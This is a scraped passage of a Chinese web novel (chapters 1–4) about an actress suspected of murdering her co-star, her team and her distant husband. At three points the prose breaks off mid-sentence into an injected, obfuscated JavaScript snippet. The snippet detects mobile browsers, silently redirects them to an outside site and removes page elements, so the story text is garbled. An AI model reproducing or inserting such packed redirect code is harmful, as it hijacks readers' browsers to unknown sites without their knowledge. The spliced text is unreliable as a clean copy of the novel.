《风闻绯事》 1. 梦境 干燥温暖的大手,在光洁细腻的背部游走,指纹清晰可感,激起细微电流,火焰燎原,点燃每一寸肌肤。 她的身躯化作燃烧的枝干,在高温下几近滚烫。唯有那双手掌触及的一方天地,才能找回实在的感知,触感真切得可怖。 细腻的、热情的、贪婪的、熟悉的抚摸,一刻也不愿停歇,掠过火苗,既是灭火,也是点火,将她牢牢地锁在火焰中央。 江知渺只能感受到浑身的滚烫,她不得不眼睁睁地任由这双手肆意逡巡,迅速攻城略地,不留一丝喘息的余地。 在被滔天火焰吞噬前的最后一刻,她的头脑突然划过一道惊雷,电光火石间,将她散逸的理智迅速拉回。 不,不对。这是谁的手? 背后的手掌似乎感受到她细微的挣扎,愈发用力起来,将她的细腰束缚在两掌之间,令她无法转身。 火热的激情刹那间被未知的恐惧填满,江知渺拼命地想要回过头去,确认背后之人的面孔。 然而,她却意外地察觉到疲软四肢下蔓延的无力。 焦急之下,她的呼吸迅速加快,心脏猛烈跳动,喉头甚至尝到了一丝血腥气,如同在没有终点的红毯上,无休止地奔跑。 不知前路的黑暗中,温热的触碰没有任何停止的迹象。正当江知渺绝望地屏住呼吸,大脑陷入缺氧带来的恐怖空白时—— “叮咚——” 一声清脆的响铃从暗夜中传来,犹如自天堂伸来一架天梯。江知渺拼上全身力气,企图抓住那声音的源头,夺回对身体的控制权。 就在她无限接近时,眼前骤然恢复了耀眼的日光。她在强光中大口大口地呼吸着,惊魂未定地剧烈喘息,双眼慢慢地适应着令人安心的白昼。 片刻过后,江知渺定神环顾四周,发现窗外天光早已明亮,而她正独自躺在家中卧室的床上,浑身遍布满冷汗。 而那无法确定主人的抚摸,与强硬禁锢她的手掌,此时也并无半点踪迹。 原来是梦。 江知渺长出了一口气,劫后余生般望向紧闭的房间门,缓缓坐起身来,轻轻敲了敲仍在眩晕的脑袋。 可为何梦中那清脆的铃声还在作响呢? 视线随意地落在墙壁的挂钟上,她上一秒还困在朦胧的疑惑中,下一秒看到时间,猛地从床上跳起来,大跨步冲出卧室,直奔大门。 可惜她完全不知道,门铃已经响了接近三分钟。 于是,打开房门的一瞬间,她便接收到了来自多年好友兼经纪人的“友好”慰问:“江知渺!你是死了吗!” 江知渺自知理亏,把人毕恭毕敬地引到客厅,自冰箱中取出一杯冰水,安静地坐在一旁,观察着她的表情。 梁栖月的愤怒并没有被冰水浇灭,她把喝完的水杯随手塞给江知渺,双手环抱在胸前,凝视着她。 “你说你要是真死了,我们倒也轻松了,省得还要赶在两个小时之内给你改礼服、做造型、做妆发再出图!”梁栖月举着手指,细数他们的红毯准备工作。 江知渺不动声色地理了理自己凌乱的头发,窝在柔软的沙发一角,目之所及都是工作人员忙碌的身影。 她一向守时,不希望给工作室的同事们添麻烦,这次却险些闯下大祸,心底也自责起来:平日里总是一点动静就醒,怎么偏偏在今天睡不醒? “你怎么不一觉睡到明天早上呢,啊?”梁栖月仿佛能看穿她的心思,指着她咬牙切齿地说道。 江知渺本就昏昏沉沉的大脑早已神游开外,听到这里,她忽地回忆起方才的梦境。 梦中的那个人,掌心的温度……有些熟悉。她下意识扭过头,犹疑地看向家中另一间卧室。 视线在紧闭的原木房门上停顿了几秒,随即又不着痕迹地收了回来。江知渺轻轻摇了摇头:怎么可能会是他呢。 梁栖月瞧她心不在焉,干脆起身坐到她身边,揉着自己的太阳穴,“我早晚有一天要被你气死,真不知道邵聿是怎么忍了你这么多年的。” 江知渺捕捉到她放缓的情绪,难得地放软了语气,拉过她的手臂,“栖月,抱歉……” “我告诉你,因为你的事,我的手机、还有工作室的所有电话,从昨晚开始就响个不停,我们嗓子都讲得快要痛死了。喏——” 梁栖月指着忙碌的员工们,“原来定好做造型的地方也吹了,只能临时杀到你家,结果你还不开门。邵聿呢,他也不在家吗?” “不在”,江知渺再次看向那间卧室,“这都下午四点了,他晚上有节目。” 江知渺趁机向不远处一个娇小的女生使了个眼色,跟了她三年的小助理冉然心领神会,在腰间比了个“OK”的手势。 “月姐,我们准备好了,咱们开始做妆发吗?”冉然熟练地抓住话语间的缝隙,总算是打断了梁栖月的训话。 随着梁栖月一声令下,工作人员陆续走进衣帽间。无一例外,所有人在双脚踏进去的那一刻,都不约而同地发出了惊叹,嘴巴张成了标准的“O”型,“知渺姐,那、那些,都——是你的衣服吗?” 偌大的更衣室中,立着一排接一排的衣柜,琳琅满目的华服看不到尽头,在金灿灿的灯光下散发着温和的光芒。 江知渺轻描淡写地点点头,“是啊,也不算多吧,这间更衣室只是家里最小的卧室改的。” 梁栖月白了她一眼,语重心长地冲着周围说道:“引以为戒啊,千万别跟她学。别人拍戏是赚钱,她拍戏那是工资回收!就连我家里,也有一个房间,专门放她的衣服。” 说着,她指了指冉然,“对了小冉,你走的时候,别忘了把最里面挂着的衣服拿去干洗,前段时间剧宣活动穿过的那些。” “知渺姐,以前看媒体说你拍戏基本都是私服,我还不信,没想到居然真有这么多!”化妆师一边为她护肤,一边感叹道。 “那些媒体是说我耍大牌吧?”江知渺抬起眼眸,恰好对上镜中化妆师略显尴尬的面孔。 话音刚落,江知渺听到梁栖月发出一声长叹,她重重地把自己摔到一旁的软沙发上。 “这次的事情,很麻烦吧?”她低声问道。 “比起你之前闯过那些的祸,的确麻烦一点。” 梁栖月闭目养神,紧绷的喉咙松弛下来,嗓音满是沙哑:“毕竟,你把男主角说哭了,我还能去道歉。把记者怼一通呢,我也能发个声明。把男主演杀死了,我可没法把人复活。” 提到这个话题,室内的气氛立刻凝固起来,刚刚还在交流的工作人员们,此时都噤了声,连脸颊上的化妆刷也停滞下来。 不用他们细说,江知渺也能猜到过去这一晚发生了什么。如日中天的女明星身陷情杀丑闻,甚至被传唤到警局讯问了一整夜,舆论估计早就掀翻了天,制作人、合作方、品牌商此时定是忙着撇清和她的关系。 如今还能保住一个红毯,也不知道工作室的同事们和主办方废了多少口舌。 “知渺姐,我们相信你。”“对,知渺姐,你是很好的人,我们都知道。”…… 片刻的沉默过后,工作人员里传来星星点点支持的声音。江知渺望向他们真诚的面孔,竟有些感动地眼眶发热。 她平日里忙于拍戏,工作室的事情大多是梁栖月帮她在管理。除了助理冉然,这些员工与她并没有太近的接触。虽然大家嘴上不说,可她知道,面对这么惊世骇俗的事情,每个人心中都难免会有动摇。 江知渺向他们鞠了一躬,清了清嗓子:“谢谢大家,等事情结束,我会多接工作,多挣钱。” 短暂的停顿之后,她高声说道:“今年,工作室所有人,年终奖翻倍。” “耶!!” “知渺姐万岁!!” “谢谢老板!!” ……< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584990|171696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 偌大的更衣室瞬间充斥着雀跃的欢呼声,叽叽喳喳的声音也热闹起来,间或夹杂着几声开朗的笑声。 江知渺闲适地窝进化妆椅,闭上双眼陶醉在做老板的优越感里,为自己组建的这个团队骄傲起来。 “叮咚叮咚叮咚——” 正当所有人都在庆贺时,一阵急促又冰冷的铃声穿透热火朝天的空气。 江知渺陡然坐直,望向门口。她条件反射般地回忆起方才的梦,深渊般的梦境,被催命似的的门铃声戛然终止。 她猛地站起身来,拦住冉然,留下一句“我去开门”,飞快地推开更衣室的门,跑向门口。 更衣室距离大门约莫有十来步,每走一步,江知渺的脑海中便闪过一丝梦中的绮影,让她的脚步愈发沉重。 她握住门把手,比体温凉许多的金属激得头皮发麻,这许久没有体会过的慌张,罪魁祸首都是那个无法自控的迷乱梦境。 炽热的触摸……不,她的心提到了喉咙,不得不承认,梦中的主角是她自己。面对触碰时毫无反抗的沉沦,始终都在折磨着她。 可那到底只是梦而已,她这样在心底默念着,用力按下门把手。 楼道里富丽堂皇的金色灯光,在她的眼前一闪而过。紧接着,一道巨大的力量沉重地甩在她的脸上! 粗糙的手掌与皮肤结实碰撞,发出的响声仿若擂鼓,以势不可挡的阵仗,将她的时间、空间通通劈开。 江知渺只觉得眼前一黑,被迎面而来的巨大力量抽倒,结结实实地摔向地面。 “啪!!!——”响亮的巴掌声仍在空荡荡的楼道里回响。 他们是谁?为什么要打她?她究竟为什么要忍受这些?无数疑问涌上她的心头,皮肤表层的疼痛被迅速催熟,深入肌底,催生出泪水。 在几近停滞的时间中,江知渺恍惚发现她变成了旁观者,她似乎正冷眼看着自己像泡沫剧的恶毒女配一样,羞耻地捂着脸颊,身边围着一群人,对她肆意指指点点。 作为旁观者,她的头脑忽然变得无比清醒,自暴自弃的念头占据了委屈的情绪:原来,这个耳光早就应该落在她的脸上,五年前躲掉的,终究要在五年后偿还。 摇摇欲坠的平衡,使分秒之间格外漫长,江知渺等待着,却始终没有等来预想中沉重的坠落…… 她落进了一双有力的臂弯,从背后被人稳稳地接住,圈进温暖的怀抱中。他似乎是奔跑而来,胸膛还剧烈地起伏着。 这双手臂坚定有力,可身体却又很有分寸,维持好她的平衡后,便向外用力,与她尽量保持着一拳的距离。 江知渺背对着他,余光勉强瞥见他的墨蓝色制服,肩上挂着光洁闪烁的银白徽章。 下一刻,江知渺听见梁栖月小跑着赶过来,发出一声惊呼:“哎,你不是昨天那个……” 话音未落,从江知渺的身后,再次传来一阵急促的脚步。 “咚……咚……” 她察觉出,那稳健的步伐间,夹杂着明显焦躁的气息,不时出现一两步不对称的脚步声。 很快,脚步的主人——一个精瘦挺拔的男人越过所有人,在她的身前定住脚,不由分说地将她从那个略带拘谨的怀抱中拽了出来。 那个男人紧紧地攥着她的手腕,像风掀起轻飘飘的落叶,几番腾挪。天旋地覆之间,她的眼前再次恢复了明亮。 可她被完全挡在他的身后,看不到门外来人,只能感受到握着她的手掌愈发用力,他的肩背也随着呼吸剧烈起伏,令人不敢忽视他汹涌的怒气。 不过,面对着门外的不速之客,这种愤怒转瞬即逝,他几乎是顷刻之间就收起了情绪。 随后,平稳的、充满磁性的、独属于主持人的醇厚声线,在空旷的楼道中缓缓流淌: “我是江知渺的丈夫,邵聿,这里是我们的私人住宅,请问三位有什么事?” 2. 辩白 「八月十二日晚,知名小生柏霆宇和某网红被发现惨死于A市某高级酒店。经初步检验,男性死者头部有明显创伤,女性死者死因疑为毒品注射过量。 案发后,警方迅速排查,与柏霆宇合作的女演员江某有较大嫌疑。当晚,江某被传唤至属地警局,并接受了血液检测。 经审讯,江某承认案发当晚曾乘车前往该酒店,但否认其曾与死者见面。江某的血液检测结果为阴性。 今晨,江某离开警局。警方表示,案件正在进一步调查之中……」 江知渺几近麻木地垂下双眼,冰冷的新闻报道、无休止的侮辱谩骂、歇斯底里的痛哭哀嚎,同时在她的耳廓中爆炸。 “我要你给我儿子偿命!!你这个婊子!不要脸!猪狗不如的东西!!” “我儿子才二十四岁啊!怎么就这样走了……” “杀人偿命!我要杀了你,给我儿子报仇!!” 她已经感受不到声浪的吵闹,眼前混乱的场面如同一场正在放映的电影,她只是观影者,并不属于这一切。极度的不真实感,如云雾般将她团团包裹。 两个白发苍苍的老人不顾邵聿和梁栖月的阻拦,硬要冲进屋来。布满血丝的双目怒睁,脸上一道道深壑扭曲变形,看上去万分悲恸。 「江知渺,我是负责本案的警察,最后一次问你,昨晚十点半至十二点间,你是否见过两名死者?」 昨晚,在昏暗的审讯室内,面对警察一遍又一遍的讯问,她已经记不得自己解释了多少次。 她知道,作为最大的嫌疑对象,对着死者的父母,自己现在应该再解释一次,终止这场突如其来的闹剧。 然而,她究竟还要再解释多少次呢?她说了,听者就能相信吗? 江知渺的视线扫过梁栖月、邵聿和刚刚扶住她的男人,或许是昨夜的讯问过于难熬,再次面对质问,她突然很想抓住他们,寻求一个确切的答案。 “不是我杀的。” 微弱却坚定的辩白盖过了无休止的吵闹,刹那间,空气归于死寂。 她迈出沉重的步伐,压抑住颤抖的声线,用真诚的目光,看向两位老人,用尽力气开口说道:“昨晚,我真的,真的,没有见过柏霆宇。” 沉寂只维持了几秒,撕心裂肺的怒吼再次响起:“你胡说!你个满嘴谎话的骗子……” 老妇人不甘地抬起手臂,指着她的鼻子,哭诉道:“我儿子死前最后一个联系的人就是你!他叫你过去找他,酒店前台也亲眼看见你上楼,然后他就……就没了!你还说不是你?!” “你怎么敢对警察、对我们说谎!” 「头条!著名女演员江知渺涉嫌杀害男演员柏某! 自出道以来,江知渺从未与同一男主角连续合作,此次却出乎所有人意料,连续接下两部与柏某合作的电视剧集。 定情之作《凤皇止阿房》庆功宴次日,二人双双返回A市后,柏某邀请江知渺去酒店私会,江知渺欣然赴约。 然而温柔乡内,暗藏祸患。柏某素有多情之名,江知渺亲眼目睹网红欣某与柏某纠缠不清,甚至一起吸食毒品。 两人发生激烈争执,愤怒之下,江知渺将柏某推倒在地,却没想到,头部磕在大理石桌案锋利的边角,致使柏某颅内出血,当场死亡! 杀害柏某后,江知渺又残忍地给网红欣某注射了过量毒品,导致欣某多器官衰竭而死……」 网络上,各种营销号梳理出的杀人动机极具说服力,捕风捉影的绯闻和似是而非的证据,天衣无缝地缝合起来,犹如多米诺骨牌,一旦开始便无法停下。 「姐姐,我只有你了……」 她的耳边回荡起柏霆宇低沉缱绻的声音,像是路边的流浪狗,可怜地蹭着她的脚腕。 现在突然有人告诉她,这不是流浪狗,你不该去喂养别人家的宠物——江知渺顿时觉得有些荒谬。 她后知后觉地心生懊悔:昨晚面对警察,应该也像眼前的两位老人这样痛哭一场,至少看起来比较无辜。 老妇人双腿踉踉跄跄,苍白枯燥的头发黏在浮肿的脸上,整个人摇摇欲坠,一刻也不停地哭喊着,张牙舞爪地向她冲上前来。 看着柏霆宇父母绝望至极的模样,她甚至想和他们说:打我、骂我吧,如果这样可以缓解你们失去孩子的痛苦,能够让我不用再向他人辩白。 可邵聿没有让她靠近江知渺,他伸出手臂,将老人扶起来,控制在距她三步之外的距离,犹如一道坚固的围墙。不知是不是独属于主持人的说服力,让老人停了下来。 “我非常理解两位的心情,但目前警方的调查尚未结束,我的妻子仅作为证人参与调查,并非犯罪嫌疑人。关于她是否是真凶,还要等待警方的结论。” 咬字清晰,发音圆满,语调流畅,似乎并非是在与人争吵,而像是在做新闻播报。看似毫无波动的一句平淡话语,却让无处发泄的苦痛一拳锤在了棉花上。 两个老人泪流满面地看着他,仍不死心,还想继续追问。邵聿果断地抬起双臂,拦住房门,“如果您企图强闯私人住宅,我只能请警察来,将二位依法带离了。” 邵聿的警告斩钉截铁,眼见老人有所松动,一旁的年轻警察也赶忙上前,连哄带劝,将他们慢慢送上电梯。 目送着两位老人坐上出租车,年轻警察本想直接离开,却没想到梁栖月早就跟着他追了出来。 她深深地鞠了一躬,裂开嘴角,朗声问道:“您是昨晚帮我们给知渺送厚衣服的警察吧,还不知道您的姓名,真的太感谢您了!” 警察摆摆手,腼腆地笑起来:“我叫周屹泽,都是举手之劳,您不用客气。” 梁栖月盯着他,觉得他很是眼熟。他的样貌气场不像是普通的年轻警察,放在娱乐圈里也算得上端正。 见他准备离开,并没有解释的意思,梁栖月眼疾手快地将他拦下,审视地盯着他的眼睛,一字一句问道:“您怎么知道他的父母要来找知渺的?” 送走周屹泽,梁栖月仍然没有放弃从记忆中寻找他的存在,一路都沉浸在思索中,电梯很快就到达江知渺家所在的16层。 一梯一户的设计充分保证了私密性,正当她准备抬起手敲门时,门却从内侧打开了,迎面走出一个面色铁青的男人。 “诶,聿哥?你要走了吗?”梁栖月惊讶地看着许久没见的邵聿,他脸色有些阴沉,不过看到她后,很快便隐去了,礼貌地向她点头,甚至让她以为刚才都是错觉。 “嗯,去台里,晚上有工作。”说完,邵聿没有继续寒暄,径直走进电梯。 梁栖月走进衣帽间时,恰好看到江知渺正对着镜子,化妆师在她身后焦急地跺脚。 “我看看,有没有受伤。”她捧起江知渺的下颌,只见左脸颊涨红一片,薄薄的皮肤下泛起醒目的血丝,看得人触目惊心,好在没有留下指印。 尽管一直在用毛巾热敷,可到了拍照前补妆时,掌掴留下的伤痕还是发作起来。火辣辣的痛感自面皮下蔓延开来,不用仔细也能发现,左侧脸颊已经肿得略有不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584991|171696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对称了。 江知渺对着镜子仔细端详伤处,心底久违地打起鼓来:拍照还可以修图,可倘若在出镜之前,红肿仍然无法消退,无论是临时宣布退出红毯,还是被人发觉此事,后果不堪设想。 “滴——滴——”不知是什么设备发出的提示音,打破了沉重的气氛。 陌生的机械声音从更衣室外传来,有了刚才的变故,大家都紧张起来,下意识摸了摸口袋中的手机,随即又茫然地对视。 “我去看看。”梁栖月没有再让江知渺离开,独自走出更衣室。提示音一直在持续,她寻找了很久才找到。 随着声音戛然而止,梁栖月轻快的脚步声逐渐靠近了更衣室。她推开门,双手牢牢地背在身后,神秘地看着江知渺,笑得不怀好意。 “什么呀……”江知渺被她盯得头皮发麻,周围的同事也都难掩好奇地往她的背后去探看。 “铛铛——”梁栖月献宝似的从背后拿出一枚圆滚滚的鸡蛋,夸张地在手心里吹来吹去。 “邵聿给你煮的爱心鸡蛋,快,趁热敷一敷你那猴屁股。” 江知渺垂眸看着掌心里干净的鸡蛋,沉甸甸的一枚,温润的表壳上带着沸腾后的热度。 八卦之心点燃了大家的兴致,纷纷七嘴八舌地调侃起来。 “哇,姐夫真是细心啊!” “我就说嘛,姐夫怎么可能直接就走了呢。” “刚才我就想说了,姐夫怼他们的那几句话真帅,我还以为我在看新闻联播呢!” …… 好不容易兵荒马乱地出发,前往会场的路上,梁栖月几次叫她,都没有得到回应。江知渺手里拿着鸡蛋,在红肿的脸颊上熨帖翻滚,眼神放空,茫然地飘向窗外。 经过下午的闹剧,作为多年的好友,她非常清楚江知渺虽然表面上风平浪静,心里却早已泛起波澜。也只有在自己面前,江知渺会露出这样的一面。 “怎么了?”梁栖月拍拍她的手臂。往常的活动都是冉然跟着她,这次比较特殊,为了防止出现意外,她还是跟过来了。 怎么了呢?江知渺想,为什么突然之间,所有人都在对她提问,好像她知道所有问题的答案似的。 这句话不该问她,而应该去问邵聿。或许,等到今天的活动结束,正式停工休息后,她也该找个时间,向邵聿问出这句,压在心头五年的疑问—— 他们之间,到底是怎么了呢? “好景不长”,剧本里总是喜欢用这简短的四个字来表示转折,急转直下的恶化,不遂人愿的戏剧化展开。 没有什么能够比这个词语更完美地概括她和邵聿的七年婚姻了,自从五年前开始,他们就离开了短暂的好景,进入看不到终点的漫长死局。 漫长得好像从最初就理应如此。 像是今天下午那样,她忙着自己的事情,完全不知道丈夫就在家中,如同两个合租的陌生人,才是他们两人的常态。 所以,从昨晚开始,不顾媒体的长枪短炮现身警察局接她回家,挺身而出赶走柏霆宇的父母,给她留下敷脸使用的鸡蛋,这些“多余”的行动,让江知渺只能感受到迷茫和困惑。 假如现在,邵聿突然和她谈及爱,那么,她做过的一切又算什么呢? “完了!”梁栖月的一声尖叫打断了她的思绪,将她的注意力吸引过去。 黑暗的夜色下,梁栖月的手机屏幕发出刺眼的光芒。江知渺看到微博热搜页面上,“#邵聿疑似力挺妻子江知渺#”的词条,赫然挂在榜首。 3. 触碰 很快,手机那边同步传来了宣发人员的消息:他们在更衣室拍出发图的时候,不小心将邵聿的衣角也拍了进去。 审核人员的心思全在修饰脸颊的红肿之上,加之更衣室背景本就繁乱,于是没有发现这一疏漏,直接就发出去了。 可眼尖的网友一眼就看出,那件酒红色西装,刚好是邵聿在主持《钩沉》时穿过的。网上顿时兴起轩然大波,各种解读层出不穷。 感慨夫妻感情的,吐槽工作室粗心的。不过更多的,还是在骂江知渺,骂她利用丈夫的正面形象和国民度,给自己洗白。 梁栖月心惊胆战地翻了几条,立即打开工作群,指尖在手机屏幕上快速敲击,嘴上同时嘱咐着江知渺:“我这就让他们换一张照片,你也跟聿哥解释一下,非常抱歉,是我们小伙伴的失误。” 江知渺打开自己的手机,用微博小号登录,进入工作室的微博账号,看到了饱受争议的那张照片。倘若不是刻意往照片的一角去观察,很难发现那里有一抹不属于她的身影。 邵聿怎么会出现在她的镜头里呢?江知渺思索了几秒钟,回想起他是何时入镜的。 送走柏霆宇的父母后,工作室的小伙伴们都在更衣室深处忙着打光、布景,她一个人坐在更衣室门口的软凳上,从身旁的全身镜里检查自己的妆容。 视线顺着镜中精致的妆面下滑,江知渺微微侧身,看到背后礼服的拉链还差了一小段没有拉到顶端。 “小冉。” “小冉。”她轻呼着助理的名字。 “小冉?” 大抵是里面的讨论声比较大,江知渺叫了三声,冉然都没有出现。她干脆站起身,提起裙摆,准备往更衣室里面走。 炽热的气息突然从身后贴近,强烈的压迫感仿佛一团蕴藏雷电的阴云,霸道地占领她身旁的空气,彰显着不可忽视的存在感。 她迅速扭过头去,想要看看身后的人是谁,就在眼神随着下颌转动九十度,落在侧面的镜中时,她从一尘不染的宽阔镜面上,意外地看到了邵聿。 “别动。” 镜子中,两人之间的距离只有不到一掌,江知渺下意识地想要向前迈步,拉开距离,邵聿低声沉吟的两个字,如同命令一般,将她死死地钉在原地。 她只能从镜子中,看着邵聿缓缓抬起右手,修长的手指弯曲微握,轻轻拉住她背后的拉链。他的动作很轻,假如不是从镜子中看到,江知渺几乎无法察觉到。 不知是邵聿过于谨慎,还是礼服拉片太过微小,邵聿尝试了几次,都没能把拉链闭合到最顶端。 突然,他像是不耐烦一样,左手猛地攥住她裸露在外的肩膀,右手拈着拉片,用力向后拉扯。 江知渺原本放松了身体,骤然受到外力,脚步凌乱失措地向后退去,直到背部完全贴在邵聿的身前,才终于找回平衡。 不属于她的更高的体温,灼烧着她与邵聿接触的每一寸肌肤。她的目光被镜中两人紧贴无间的身影所束缚,许久,江知渺才回过神来。 邵聿温热清爽的鼻息扫过耳廓,突如其来的热度攀上她的耳根,连带着未受掌掴的另一侧脸颊也跟着发烫。 她又想条件反射地向前逃走,逃出这异常的燥热,可随着背部皮肤传来令她全身战栗的触碰,邵聿醇厚的声音在耳畔再次响起:“别动。” 他的声音更加暗哑,话音未落,滑腻的触感从敏感的背部传来,让她的全身都紧绷起来。 邵聿仍然拉扯着她背后的拉链,然而动作却明显加重了许多,指尖不知是有意还是无意,总能滑过拉链尚未覆盖的区域。 陌生又熟悉的触碰使江知渺忍不住将头从镜子的方向扭开,光是颅顶传来的呼吸声,就足以让她清晰地感知到,邵聿的存在。 可视觉失去判断力后,触觉便显得更加灵敏。 江知渺甚至感受到,他松开了拉片,转而用两只手指插进礼服内侧,尝试捏住滑块,向上提拉。指背随着他锲而不舍的尝试,在脊骨薄薄的皮肤上反复摩擦。 或轻或重,虚虚实实,一磨一蹭,如最细腻的羽毛,慢条斯理地吻过每一寸肌肤,勾起深入骨髓的痒意。 不知过了多久,江知渺听到拉链发出一声轻微的“咔哒”,拉片缓缓向上移动了分毫,紧贴的手指也终于撤去,她劫后余生般长长地呼出一口气。 她以为这场近似折磨的帮助结束了,再次看向全身镜,却眼睁睁地看到,邵聿再一次扯住拉链。 “别动。” 这是他第三次说“别动”,也是他语气最严厉低沉的一次。 指甲长的小小拉片似乎成了拴在她身上的绳索,向上攀登的同时,绳索也将她束缚得越来越紧,紧到无法呼吸。 她已经无法分辨邵聿究竟是什么意图,他攥着自己肩膀的手逐渐加深力气,毫不怜惜地让她获得痛意;可另一边,拉动拉链时又过分小心翼翼,几乎是一齿一齿地完成咬合。 她的时间观念已经被这割裂的感受完全重组,一寸触摸、一齿咬合,她数着念着,煎熬地等待着无数个链牙啮合。 “知渺姐!” 清脆的呼唤从更衣室深处悠悠传来,惊醒了江知渺被催眠的五感,她慌张地看向镜中邵聿的脸,从他阴沉的脸色中抓住一闪而过的烦躁。 “知渺姐!” 冉然呼喊她的声音更近了,江知渺不知道自己为什么要慌乱,只是顺从本能开始挣扎。 然而邵聿却没有放过她的意思,反而向后扣住她的肩膀,更加缩短了两人之间的距离,平稳的呼吸声忽然加重。 “知渺姐,赵哥想请你去试试光……” 冉然的声音近在咫尺,江知渺非常确定,三秒后,她会转过那个拐角,出现在他们面前。 心剧烈地跳动起来,心跳声宛如鼓点,快要撑破耳膜,手脚变得冰凉,全身如同被重担压倒,连一只手指也无法动弹。 她无可奈何地在心底默数着:三……二……一! 几乎是冉然出现在视野里的同时,江知渺听到背后的拉链“唰”地滑过最后一段征途,严丝合缝地咬住上止。 “聿哥好。”冉然乖巧地打招呼时,江知渺因紧张而错位的意识才终于回笼,发现邵聿不知何时已经站到了她的身旁。 “知渺姐,背景我们都弄好了,赵哥说更衣室的光比较弱,我们的打光设备要重新调一下参数,想请你过去站站位置。” 江知渺惊魂未定的心神还未平息,冉然的话像流水般划过大脑,她无法思考其中的含义,只知道顺从地跟着走进去,也顾不上查看邵聿后来的动向。 想必正是那会儿,邵聿跟着自己走进了更衣室。试光期间大家都比较随意,他的衣角那时候被收进镜头,而后来修图的同事恰好选到了这张照片。 江知渺猜测他应该正在准备晚上九点的节目,为了保持专注,通常在开始前几个小时,他都不会看手机。 于是她退出拨号界面,给邵聿发了一条微信: 「抱歉,我们的工作失误,照片马上就会更换。」 她打开热搜,盯着那个词 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15584992|171696||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条。文字的力量总是难以估量,任何没有实体的事物,一旦被固定为白纸黑字,都显得十分真实。 她随意地向下划了几下,同一个词条铺了满屏,直扑眼底,“力挺”两个字让她莫名地有些心烦意乱,她干脆将屏幕向下扣住。 她本以为很久才会收到回复,没想到手机上很快就弹出了邵聿的消息。 「没关系,不用换。」 江知渺难以置信地将他的回复看了好几遍,确定没有看错后,才怔怔地扭过头,跟梁栖月说道:“照片不用换了。” “什么?”梁栖月不解地看着她。 她没有解释,只是迅速熄灭了屏幕,让自己完全陷进傍晚的黑暗夜色中,慌张的心跳诉说着不可告人的秘密。 愈是不愿承认,心跳声便愈大。 她很想立刻打电话过去,问问邵聿,你究竟是什么意思。 是对舆论一时的热度嗤之以鼻,还是——愿意被人“误解”为支持她? 江知渺为这种天真的想法感到可耻,他们两人走到如今这个地步,谁都并非无辜。她自知清醒,却又无法自控。 这种对身体和心灵失控的感觉,使她毫不费力就联想到了那个迷乱梦境。 万一,那不是梦呢? 那时,他分明是在家的。假如要为梦中的另一个角色确定身份,她宁愿是他,而非其他人。 A市的夜晚灯火通明,主办方在驱车前往的场馆必经之路两侧树枝上,别出心裁地挂起星型霓虹灯带,恰好符合了今晚的主题:晚星如曜。 星光在深蓝色的夜空中迸发出无限的浪漫,飞速闪过的灯带光彩炫目,让她不得不闭上双眼。 她不愿再去细想,从昨晚开始的种种令她疲惫不堪,此刻她只想放纵自己,在这似水的夜色中休憩偷闲。沐浴在人造的星光中,江知渺缓缓地松开了紧握的手机。 片刻后,细微的震动再次传来,打破难得的平静。江知渺不情不愿地睁开双眼,揉了揉酸痛的脖颈,打开微信——一条来自“老公”的新消息。 「台里没有要求。」 汽车急转九十度,拐进活动会场的地下车库,高耸的水泥墙壁迅速占领视野。待车子停稳,江知渺轻声道: “栖月,那张照片,直接删掉吧。” 原来,她的猜测都是错误的,他只是不在乎。 只要没有影响到他自己,邵聿根本不在乎关于江知渺的任何事情。 江知渺自嘲地摇了摇头,心底甚至有些庆幸:现在说爱已经太晚了,邵聿,幸好你没有。 不然,我可能真的会恨自己。 今晚是由《ELAN》杂志主办的红毯晚会,《ELAN》专注于展现设计师品牌,其所举办的时尚活动也以极高的审美和时尚感而著名。 一年一度的《ELAN》晚会也是娱乐圈争奇斗艳的话题中心,几乎圈内所有仍在活跃的艺人,都会收到邀约,也吸引了无数媒体前来。 江知渺的红毯出场被安排在所有艺人的中间部分,在她之前是一些年轻新星,在她之后则是一众电影大咖。 梁栖月遇到了之前合作过的制作人,忙着寒暄,于是江知渺独自跟随工作人员,前往红毯入口处。 狭窄的后台区域挤满了艺人、助理和主办方的人员,临时搭建的休息区灯光昏暗。由于有些近视的缘故,江知渺只得专心地低头看路。 忽然,她的右肩被人重重地撞了一下。紧接着,耳畔悠悠地传来一个充满质感的女声:“杀人犯也能来走红毯了吗?” 4. 红毯 “杀人犯”这个词,尽管网络上早就有无数人扣在了她的头上,可现实中,这还是第一次听到。 江知渺猛地抬起头,映入眼帘的是一张艳丽精致的侧脸。她立刻认出来,这是与她同属于青衣一代的女演员,何之晏。 